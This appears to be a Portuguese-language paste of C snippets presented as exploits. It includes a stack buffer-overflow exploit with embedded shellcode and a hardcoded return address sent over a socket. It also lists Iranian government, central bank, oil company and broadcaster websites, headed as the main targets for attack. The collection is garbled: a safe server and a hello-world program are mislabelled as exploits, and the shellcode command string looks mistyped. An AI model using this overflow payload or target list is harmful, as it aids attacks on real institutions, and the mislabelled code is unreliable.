criar exploits
Exploit diferente
#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <resolv.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
//nossa porta
#define PORT 666
int main (int argc, char *argv[]){
int serversock;
struct sockaddr_in self;
/* cria o socket */
serversock = socket (AF_INET, SOCK_STREAM, 0) ;
if ( serversock < 0 ){
perror("Erro no socket");
exit(1);
}
/* monta o endereço */
bzero (&self, sizeof(self));
self.sin_family = AF_INET;
self.sin_port = htons(PORT);
self.sin_addr.s_addr = INADDR_ANY; /* uso o endereço do host */
/* associa o endereço ao socket */
if ( bind (serversock, (struct sockaddr*)&self, sizeof(self)) ) {
perror("Erro no bind");
exit(1);
}
/* coloca o socket em escuta */
if ( listen (serversock, 20) ) {
perror("Erro no listen");
exit(1);
}
for(;;) {
int clientsock;
struct sockaddr_in client_addr;
int addrlen = sizeof (client_addr);
char * resposta ;
/* aguarda e aceita uma conexão externa */
clientsock = accept (serversock, (struct sockaddr*)&client_addr, &addrlen);
printf ("Client %s:%d connected\n",
inet_ntoa (client_addr.sin_addr),
ntohs (client_addr.sin_port));
/* envia uma resposta HTTP padrão */
resposta = "HTTP/1.1 200 Ok\n\n<p><b>Servidor exemplo funciono!!</b></p><img src=\"http://i21.photobucket.com/albums/b256/rot_in_pieces/splatterhouse.gif\">\n" ;
write (clientsock, resposta, strlen (resposta));
/* fecha o socket da conexão recebida */
close (clientsock);
}
/* encerra o socket servidor */
close (serversock);
return 0;
}
-------------------------------------------------------------------------------
EXPLOITS MATADORES
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> void TrataMensagem(const char *Mens); int main() { int Sock, Novo; struct sockaddr_in Servidor, Cliente; socklen_t Tam; char Mens[512]; // Criar socket if ((Sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("Erro ao criar o socket"); exit(1); } // Configurar endereço do servidor Servidor.sin_family = AF_INET; Servidor.sin_port = htons(8080); // Porta desejada Servidor.sin_addr.s_addr = INADDR_ANY; // Ligação do socket ao endereço do servidor if (bind(Sock, (struct sockaddr *)&Servidor, sizeof(Servidor)) == -1) { perror("Erro ao fazer bind"); exit(1); } // Escutar por conexões if (listen(Sock, 1) == -1) { perror("Erro ao escutar conexões"); exit(1); } while (1) { Tam = sizeof(struct sockaddr_in); // Aceitar nova conexão if ((Novo = accept(Sock, (struct sockaddr *)&Cliente, &Tam)) == -1) { perror("Erro ao aceitar conexão"); exit(1); } memset(Mens, 0, sizeof(Mens)); // Ler dados da conexão ssize_t bytesLidos = read(Novo, Mens, sizeof(Mens) - 1); if (bytesLidos <= 0) { perror("Erro ao ler dados da conexão"); exit(1); } // Tratar mensagem recebida TrataMensagem(Mens); // Fechar a conexão close(Novo); } return 0; } void TrataMensagem(const char *Mens) { const size_t BUFFER_SIZE = 512; char Buffer[BUFFER_SIZE]; strncpy(Buffer, Mens, BUFFER_SIZE - 1); Buffer[BUFFER_SIZE - 1] = '\0'; // Resto do código de tratamento da mensagem... }
Irão principais fontes para ataque!
Presidência do Irã - http://www.president.ir/
Parlamento do Irã - http://www.majlis.ir/
Ministério dos Negócios Estrangeiros - http://en.mfa.ir/
Departamento de Estado do Irã - http://www.mfa.gov.ir/
Banco Central do Irã - http://www.cbi.ir/
Ministério da Saúde e Educação Médica - http://www.mohme.gov.ir/
Organização Nacional de Radiodifusão do Irã - http://www.irib.ir/
Bolsa de valores do Irã - http://www.tsetmc.com/
Corporação Nacional de Petróleo do Irã - http://www.nioc.ir/
Ministério da Cultura e Orientação Islâmica - http://www.farhang.gov.ir/
EXPLOIT ataque segundo codigo
#include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define TAM_BUFFER 256 unsigned char cod[] = { 0xeb, 0x1f, 0x90, 0x90, 0x90, 0x90, 0x5e, 0x31, 0xc0, 0x88, 0x46, 0x07, 0x89, 0xf3, 0xb0, 0x08, 0xb9, 0xff, 0xf1, 0xff, 0xff, 0xcd, 0x80, 0xb0, 0x01, 0x31, 0xdb, 0xcd, 0x80, 0x90, 0x90, 0x90, 0x90, 0xe8, 0xe0, 0xff, 0xff, 0xff }; char comando[] = "/bin/sx"; int main(int argc, char **argv) { unsigned char Buffer[TAM_BUFFER + 9]; long end; int Sock; struct sockaddr_in sin; end = 0xbffff71c; memset(Buffer, 'A', TAM_BUFFER); memcpy(Buffer, cod, sizeof(cod)); strncat(Buffer, comando, sizeof(comando)); Buffer[strlen(Buffer)] = 'A'; *(long *)&Buffer[TAM_BUFFER] = 0xcacacaca; *(long *)&Buffer[TAM_BUFFER+4] = end; Buffer[TAM_BUFFER+8] = 0; Sock = socket(AF_INET, SOCK_STREAM, 0); if (Sock < 0) { perror("Erro ao criar o socket"); return 1; } sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr("127.0.0.1"); if (connect(Sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) { perror("Erro ao conectar"); return 1; } write(Sock, Buffer, TAM_BUFFER + 20); close(Sock); return 0; }
Escrever EXPLOIT EM cCcCccCC
#include <stdio.h>
int main() {
char greetings[] = "Hello World! open login admin";
printf("%c", greetings[0]);
printf("%c", greetings[24]);
printf("%c", greetings[25]);
printf("%c", greetings[26]);
printf("%c", greetings[27]);
printf("%c", greetings[28]);
return 0;
}